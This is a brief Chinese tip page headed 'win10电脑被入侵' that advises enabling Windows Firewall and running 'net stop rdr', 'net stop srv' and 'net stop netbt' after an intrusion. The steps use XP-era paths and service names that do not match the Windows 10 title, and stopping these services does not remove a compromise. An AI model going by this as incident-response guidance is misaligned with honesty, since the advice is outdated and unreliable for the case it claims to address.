1、依次打开控制面板，安全中心，Windows防火墙，选择启用
2、点击开始，运行，输入cmd，确定执行下面三条命令：net stop rdr 、net stop srv 、net stop netbt
转载请注明出处windows之家 » win10电脑被入侵
